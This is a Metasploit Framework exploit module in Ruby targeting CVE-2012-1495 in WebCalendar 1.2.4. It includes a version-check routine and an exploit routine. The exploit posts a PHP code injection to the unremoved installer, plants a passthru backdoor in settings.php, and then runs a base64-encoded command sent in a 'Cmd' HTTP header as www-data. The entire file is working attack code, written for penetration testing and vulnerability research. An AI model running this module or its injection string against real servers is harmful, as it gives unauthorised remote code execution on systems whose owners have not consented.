##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => "WebCalendar 1.2.4 Pre-Auth Remote Code Injection",
'Description' => %q{
This modules exploits a vulnerability found in k5n.us WebCalendar, version 1.2.4 or
less. If not removed, the settings.php script meant for installation can be
update by an attacker, and then inject code in it. This allows arbitrary code
execution as www-data.
},
'License' => MSF_LICENSE,
'Author' =>
[
'EgiX', #Initial discovery & PoC
'sinn3r' #Metasploit
],
'References' =>
[
['CVE', '2012-1495'],
['OSVDB', '81329'],
['EDB', '18775']
],
'Arch' => ARCH_CMD,
'Platform' => ['unix', 'linux'],
'Compat' =>
{
'PayloadType' => 'cmd'
},
'Targets' =>
[
['WebCalendar 1.2.4 on Linux', {}],
],
'Privileged' => false,
'DisclosureDate' => "Apr 23 2012",
'DefaultTarget' => 0))
register_options(
[
OptString.new('TARGETURI', [true, 'The URI path to webcalendar', '/WebCalendar-1.2.4/'])
], self.class)
end
def check
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'
res = send_request_raw({
'method' => 'GET',
'uri' => "#{uri}/login.php"
})
if res and res.body =~ /WebCalendar v1.2.\d/
return Exploit::CheckCode::Vulnerable
else
return Exploit::CheckCode::Safe
end
end
def exploit
peer = "#{rhost}:#{rport}"
uri = target_uri.path
uri << '/' if uri[-1, 1] != '/'
print_status("#{peer} - Housing php payload...")
# Allow commands to be passed as a header.
# We use 'data' instead of 'vars_post to avoid the MSF API escapeing our stuff.
post_data = "app_settings=1"
post_data << "&form_user_inc=user.php"
post_data << "&form_single_user_login=*/print(____);passthru(base64_decode($_SERVER[HTTP_CMD]));die;"
post_data << "\n"*2
send_request_cgi({
'method' => 'POST',
'uri' => "#{uri}install/index.php",
'data' => post_data
})
print_status("#{peer} - Loading our payload...")
# Execute our payload
send_request_raw({
'method' => 'GET',
'uri' => "#{uri}includes/settings.php",
'headers' => {
'Cmd' => Rex::Text.encode_base64(payload.encoded)
}
})
handler
end
end
